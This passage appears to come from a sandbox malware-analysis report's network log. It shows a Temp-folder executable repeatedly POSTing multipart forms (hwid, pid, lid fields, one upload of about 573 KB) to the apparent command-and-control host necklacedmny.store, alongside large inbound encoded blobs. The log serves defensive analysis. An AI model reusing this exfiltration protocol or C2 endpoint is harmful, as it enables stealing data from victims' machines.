2024-10-31 01:09:39 UTC	1369	IN	Data Raw: 33 66 38 61 0d 0a 47 37 6f 47 4f 41 74 58 52 6b 57 63 63 56 43 7a 4a 34 4d 36 30 63 42 36 35 43 61 4e 4c 34 73 48 45 77 35 64 6e 46 4a 36 58 48 67 37 6a 6f 57 6f 32 70 64 32 6c 4b 69 51 5a 41 4a 44 67 31 6f 46 4a 56 35 51 6b 67 6e 76 4f 6f 4e 33 71 72 2b 64 6f 39 70 63 6d 47 72 61 5a 68 68 36 70 32 61 30 37 4e 47 52 77 38 66 54 57 69 48 78 2b 67 51 6d 6a 53 2b 4c 42 78 4d 4f 58 4d 2f 44 43 6e 33 49 2f 72 6e 32 79 41 71 58 35 34 48 4e 5a 58 46 33 31 2f 50 75 78 4b 54 61 59 4f 4b 35 76 36 70 79 4e 69 71 66 66 61 4d 4c 37 45 67 71 69 6b 59 49 57 72 66 48 78 58 78 68 45 42 50 48 55 2f 70 78 59 4e 35 55 78 6d 6c 65 66 6f 61 53 69 45 2b 38 63 6c 74 4e 7a 4b 6e 4b 6c 68 67 4b 42 76 4c 6b 4f 48 41 45 34 36 64 48 4c 30 55 67 79 70 44 69 65 64 2b 61 49 35 61 36 54 Data Ascii: 3f8aG7oGOAtXRkWccVCzJ4M60cB65CaNL4sHEw5dnFJ6XHg7joWo2pd2lKiQZAJDg1oFJV5QkgnvOoN3qr+do9pcmGraZhh6p2a07NGRw8fTWiHx+gQmjS+LBxMOXM/DCn3I/rn2yAqX54HNZXF31/PuxKTaYOK5v6pyNiqffaML7EgqikYIWrfHxXxhEBPHU/pxYN5UxmlefoaSiE+8cltNzKnKlhgKBvLkOHAE46dHL0UgypDied+aI5a6T
2024-10-31 01:09:39 UTC	1369	IN	Data Raw: 38 43 44 70 36 52 6d 67 71 39 31 61 55 37 45 48 41 59 33 63 54 65 67 48 77 36 33 41 53 66 53 73 65 67 32 63 4f 57 75 69 42 43 45 2b 71 76 70 74 53 47 58 35 33 35 69 48 4a 46 5a 44 7a 56 2f 50 4b 67 41 41 37 63 4d 49 5a 4c 35 6f 44 6c 76 71 66 6a 47 4a 62 2f 4d 69 4b 65 6c 5a 34 65 6a 65 47 70 59 78 52 35 4f 63 7a 67 31 74 46 4a 56 35 53 6f 6c 69 4f 58 71 48 32 4f 6c 38 64 67 68 72 49 32 58 35 37 4d 76 69 61 73 35 4e 68 7a 4e 45 67 51 30 65 7a 75 6f 48 77 32 73 44 53 2b 61 38 71 41 6a 61 61 2f 6b 7a 44 4b 32 77 6f 4b 74 6f 6d 4f 42 71 33 31 38 56 34 6c 58 54 6a 70 67 63 76 52 53 4c 61 34 55 42 59 44 74 36 43 34 6d 76 4c 62 50 4f 2f 65 56 79 4b 43 6d 62 6f 2b 74 66 32 56 5a 78 42 6b 4c 4e 33 38 2b 72 42 49 4f 6f 77 51 72 6d 76 65 6b 50 57 75 6f 38 38 77 6c Data Ascii: 8CDp6Rmgq91aU7EHAY3cTegHw63ASfSseg2cOWuiBCE+qvptSGX535iHJFZDzV/PKgAA7cMIZL5oDlvqfjGJb/MiKelZ4ejeGpYxR5Oczg1tFJV5SoliOXqH2Ol8dghrI2X57Mvias5NhzNEgQ0ezuoHw2sDS+a8qAjaa/kzDK2woKtomOBq318V4lXTjpgcvRSLa4UBYDt6C4mvLbPO/eVyKCmbo+tf2VZxBkLN38+rBIOowQrmvekPWuo88wl
2024-10-31 01:09:39 UTC	1369	IN	Data Raw: 69 73 59 34 50 6e 4e 79 35 62 30 56 6c 57 66 56 38 6f 6f 52 51 61 74 44 63 68 6b 71 37 6f 4c 69 61 38 74 73 38 37 39 35 58 49 70 4b 5a 6c 67 36 4a 39 5a 6c 76 4b 47 41 49 35 64 54 2b 6f 47 77 6d 67 45 44 53 55 38 61 67 2b 5a 71 72 36 32 6a 6d 79 7a 59 54 70 35 43 2b 4a 76 7a 6b 32 48 50 67 4f 44 6e 31 6e 66 4c 56 53 43 71 6c 43 66 74 4c 77 70 53 4e 6b 71 76 62 4a 4e 4c 50 47 6a 36 2b 73 62 6f 32 69 65 6d 74 61 79 42 6b 43 4e 33 38 36 70 68 77 41 6f 77 59 67 6c 4c 2f 6d 63 57 2b 39 74 70 42 33 68 63 43 47 6f 4b 6c 70 67 37 46 52 58 78 7a 57 56 78 64 39 66 7a 37 73 53 6b 32 68 43 53 36 65 2b 71 41 30 61 61 33 38 77 44 69 34 33 34 6d 6d 6f 32 69 46 71 6e 5a 67 57 63 63 4c 43 54 5a 7a 4f 71 55 63 43 2b 56 4d 5a 70 58 6e 36 47 6b 6f 6b 2f 58 47 50 4b 62 43 69 Data Ascii: isY4PnNy5b0VlWfV8ooRQatDchkq7oLia8ts8795XIpKZlg6J9ZlvKGAI5dT+oGwmgEDSU8ag+Zqr62jmyzYTp5C+Jvzk2HPgODn1nfLVSCqlCftLwpSNkqvbJNLPGj6+sbo2iemtayBkCN386phwAowYglL/mcW+9tpB3hcCGoKlpg7FRXxzWVxd9fz7sSk2hCS6e+qA0aa38wDi434mmo2iFqnZgWccLCTZzOqUcC+VMZpXn6Gkok/XGPKbCi
2024-10-31 01:09:39 UTC	1369	IN	Data Raw: 42 35 7a 63 75 57 39 46 5a 56 6e 31 4a 4a 4b 73 56 41 75 63 72 49 59 6e 2b 6f 6a 4a 6a 71 62 62 58 65 61 36 4e 6a 36 58 71 4e 38 36 71 64 57 4e 59 32 78 55 4f 50 58 45 31 70 67 41 43 71 67 38 6c 6b 76 71 36 4d 48 71 71 2f 63 30 30 73 38 4b 48 70 61 4a 6c 7a 75 6b 35 61 55 53 4a 51 55 34 52 65 79 4f 6d 55 43 71 2f 46 43 47 65 37 71 4d 38 5a 4f 58 70 68 69 37 33 79 6f 54 70 38 69 2b 4f 70 6e 52 38 57 63 67 54 42 44 42 77 50 61 6b 58 41 71 45 47 4c 5a 7a 74 70 6a 35 6f 6f 2f 33 4a 4d 72 54 47 67 71 65 6a 66 63 37 70 4f 57 6c 45 69 55 46 4f 46 32 4d 7a 6f 52 35 50 69 77 6b 77 6c 62 32 4a 50 32 4f 69 2b 74 35 33 71 49 4f 52 36 61 31 6a 7a 76 38 35 5a 31 4c 46 47 67 6b 31 63 44 65 73 47 51 32 71 43 43 69 56 37 61 49 39 59 72 66 35 79 7a 71 7a 77 49 4b 73 6f 33 Data Ascii: B5zcuW9FZVn1JJKsVAucrIYn+ojJjqbbXea6Nj6XqN86qdWNY2xUOPXE1pgACqg8lkvq6MHqq/c00s8KHpaJlzuk5aUSJQU4ReyOmUCq/FCGe7qM8ZOXphi73yoTp8i+OpnR8WcgTBDBwPakXAqEGLZztpj5oo/3JMrTGgqejfc7pOWlEiUFOF2MzoR5Piwkwlb2JP2Oi+t53qIOR6a1jzv85Z1LFGgk1cDesGQ2qCCiV7aI9Yrf5yzqzwIKso3
2024-10-31 01:09:39 UTC	1369	IN	Data Raw: 4e 68 7a 4a 48 51 49 2b 66 7a 79 6a 48 77 4b 69 43 53 6d 59 38 62 6f 2b 62 61 33 36 77 44 71 6c 78 34 4b 37 6f 32 61 44 71 58 46 38 58 34 6c 58 54 6a 70 67 63 76 52 53 50 36 38 42 4b 6f 54 79 70 33 46 33 36 2b 2b 49 4d 4c 75 4e 30 4f 6d 34 66 59 36 73 65 57 6c 53 32 78 67 47 4d 6e 49 79 71 68 6b 48 70 67 73 69 6e 50 61 75 4d 47 57 6b 39 38 67 79 74 38 53 61 70 4f 6f 68 7a 71 42 68 4c 67 53 4a 4c 67 49 32 53 54 47 36 55 68 4c 72 47 32 61 56 38 2b 68 70 4b 4b 54 6b 78 54 2b 7a 7a 59 57 76 6f 57 36 50 70 48 6c 75 58 38 6b 63 42 54 4a 2b 4e 61 45 59 42 4b 77 51 4c 70 62 74 71 44 31 73 35 62 69 49 4d 4b 2b 4e 30 4f 6d 61 62 49 57 72 65 57 4e 4a 69 51 5a 41 4a 44 67 31 6f 46 4a 56 35 51 6f 74 6d 66 6d 6a 4d 6d 75 72 2f 63 49 34 75 4d 65 4f 72 36 4a 71 6a 71 74 Data Ascii: NhzJHQI+fzyjHwKiCSmY8bo+ba36wDqlx4K7o2aDqXF8X4lXTjpgcvRSP68BKoTyp3F36++IMLuN0Om4fY6seWlS2xgGMnIyqhkHpgsinPauMGWk98gyt8SapOohzqBhLgSJLgI2STG6UhLrG2aV8+hpKKTkxT+zzYWvoW6PpHluX8kcBTJ+NaEYBKwQLpbtqD1s5biIMK+N0OmabIWreWNJiQZAJDg1oFJV5QotmfmjMmur/cI4uMeOr6Jqjqt
2024-10-31 01:09:39 UTC	1369	IN	Data Raw: 42 51 65 4f 6a 68 38 37 42 52 4e 2f 56 4a 6f 30 76 75 35 63 54 44 31 70 4a 4e 69 35 4a 72 59 2b 37 55 68 6c 2b 64 76 4c 67 53 62 56 30 34 76 4f 47 72 73 56 51 36 33 45 43 43 52 36 61 74 32 56 70 76 57 77 7a 75 30 77 59 6d 75 36 69 48 4f 71 44 6b 32 5a 59 6b 61 48 43 38 33 49 37 6f 66 48 61 4a 4f 4c 6f 50 79 70 48 45 6d 35 62 72 4d 50 4c 76 49 6a 37 6e 6c 66 5a 36 73 64 58 67 51 7a 51 74 4f 63 7a 67 6a 70 78 30 66 71 77 56 70 67 2b 6d 6c 49 57 75 67 38 59 51 2f 70 73 43 45 36 65 51 76 6d 36 78 31 61 46 48 63 56 68 38 72 65 79 53 72 58 67 57 30 44 79 72 53 77 4f 5a 78 63 4f 57 75 69 41 4b 30 77 34 61 75 76 48 37 44 68 33 4a 69 58 38 55 59 43 58 30 32 63 71 70 53 56 66 5a 4d 5a 70 62 75 36 47 6b 34 39 36 32 64 5a 4f 43 64 32 72 62 6b 64 73 36 78 4f 54 59 4f Data Ascii: BQeOjh87BRN/VJo0vu5cTD1pJNi5JrY+7Uhl+dvLgSbV04vOGrsVQ63ECCR6at2VpvWwzu0wYmu6iHOqDk2ZYkaHC83I7ofHaJOLoPypHEm5brMPLvIj7nlfZ6sdXgQzQtOczgjpx0fqwVpg+mlIWug8YQ/psCE6eQvm6x1aFHcVh8reySrXgW0DyrSwOZxcOWuiAK0w4auvH7Dh3JiX8UYCX02cqpSVfZMZpbu6Gk4962dZOCd2rbkds6xOTYO
2024-10-31 01:09:39 UTC	1369	IN	Data Raw: 38 34 61 75 78 56 41 36 67 44 4a 5a 7a 38 75 69 4e 75 70 75 44 4c 63 49 6e 7a 72 61 53 6e 61 6f 43 67 52 31 42 39 77 77 6b 44 4d 6e 38 4d 6b 69 55 63 6f 68 4a 6b 74 50 79 2b 4d 69 6a 72 74 74 42 33 37 34 32 70 6f 37 70 69 67 61 41 35 49 42 7a 4e 57 56 5a 39 58 54 2b 68 46 77 4f 69 51 41 65 59 37 36 55 2b 62 2b 57 34 69 44 76 33 6c 63 69 6f 6f 48 2b 44 71 48 34 69 57 39 4d 65 54 6e 4d 34 50 4f 78 4b 54 61 51 49 4e 70 2f 77 72 33 31 75 71 2f 69 49 4b 50 6e 55 79 4c 2f 71 4e 39 33 70 4f 58 77 63 6b 56 6c 4a 4d 33 55 7a 72 78 77 4f 74 78 41 67 6b 65 6d 72 64 6c 61 62 30 38 55 36 73 73 4f 50 6c 35 52 4f 68 4c 64 30 59 56 75 4c 4f 51 6b 72 65 77 79 53 4a 52 79 69 45 6d 53 30 2f 4c 34 79 4b 4f 75 32 30 48 66 76 6a 61 6d 6a 75 6d 4b 42 6f 44 74 4f 57 39 38 61 54 Data Ascii: 84auxVA6gDJZz8uiNupuDLcInzraSnaoCgR1B9wwkDMn8MkiUcohJktPy+MijrttB3742po7pigaA5IBzNWVZ9XT+hFwOiQAeY76U+b+W4iDv3lciooH+DqH4iW9MeTnM4POxKTaQINp/wr31uq/iIKPnUyL/qN93pOXwckVlJM3UzrxwOtxAgkemrdlab08U6ssOPl5ROhLd0YVuLOQkrewySJRyiEmS0/L4yKOu20HfvjamjumKBoDtOW98aT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50000	188.114.97.3	443	5880	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:40 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-31 01:09:40 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:09:41 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=320qdbd8p3d1ehhfbsm87p0k16; expires=Sun, 23-Feb-2025 18:56:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rpjyP51Lp4fxhb3nxHZXqgtz0qipE%2BDZvi2gpo2kR%2BSrtpiHGZbXDOKsCIutasxfFKQXMO1BYCHx8CMptNByx3uxQmT3%2FQXaxP%2F7wOyyhMIGkOD5Kt%2BQHleq28sGRKoCM4dnWXs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc2d1b9d3284b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1243&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=2316800&cwnd=229&unsent_bytes=0&cid=ecae44cd75d54c77&ts=518&x=0"
2024-10-31 01:09:41 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:09:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50001	188.114.97.3	443	5880	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:42 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-31 01:09:42 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:09:42 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b6c4pgsisafpvmvs59hditn1h3; expires=Sun, 23-Feb-2025 18:56:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4SkjRbmZBvfS6qXAtVvhI6sB1OMXDgpPvGnYJGOUJQ18OG8sCFWv1RAxaqgQ13CpX2ehmywxphWuatYP1g%2BpWyIKRyBAfiBevt3wmDSjup7%2FniBmyCtXZTKSURi39MsZWGIjDto%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc2da9c734654-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1052&sent=15&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=2518260&cwnd=242&unsent_bytes=0&cid=fe470f47719b6193&ts=578&x=0"
2024-10-31 01:09:42 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:09:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50002	188.114.97.3	443	5880	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:43 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-31 01:09:43 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:09:43 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-31 01:09:44 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=psvbc5v25deqri4q09gk2uogn7; expires=Sun, 23-Feb-2025 18:56:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SR9Zr5434D%2FeGs5GMhRNrg3irVpyWuNRlWbqIE8vPF7AE5mV0WmAmr%2FOx5o0GV%2F4lmZtm08a4B3YYyLIPOWujrKyXY7UuByjhByyq4H13VHaCzigGH1zYQdLMPnkegcsgVW9c00%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc2e42c8a2e5f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1425&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21536&delivery_rate=1892810&cwnd=247&unsent_bytes=0&cid=a91a2f480bad79f1&ts=612&x=0"
2024-10-31 01:09:44 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:09:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50003	188.114.97.3	443	5880	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:45 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1266 Host: necklacedmny.store
2024-10-31 01:09:45 UTC	1266	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:09:45 UTC	1024	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vm7n2aeetn6gq2055hvdjk7mb4; expires=Sun, 23-Feb-2025 18:56:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ChBU00UC%2BhTt5DFFSLhNsYti%2Bak0PUiyiHSfVjRGDF8aP2ex9ZKnAAcLaL5jvqPokagixOUiXh%2BC0Vf9L3eYAthefwPliBRGVF6%2BXov0xoh58AyYcXym0KFasr%2FH5h%2FP6im%2B%2F1s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc2eea9ffe712-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1929&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2185&delivery_rate=1495867&cwnd=247&unsent_bytes=0&cid=4862a48a734d7217&ts=581&x=0"
2024-10-31 01:09:45 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:09:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50004	188.114.97.3	443	5880	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:47 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 573585 Host: necklacedmny.store
2024-10-31 01:09:47 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 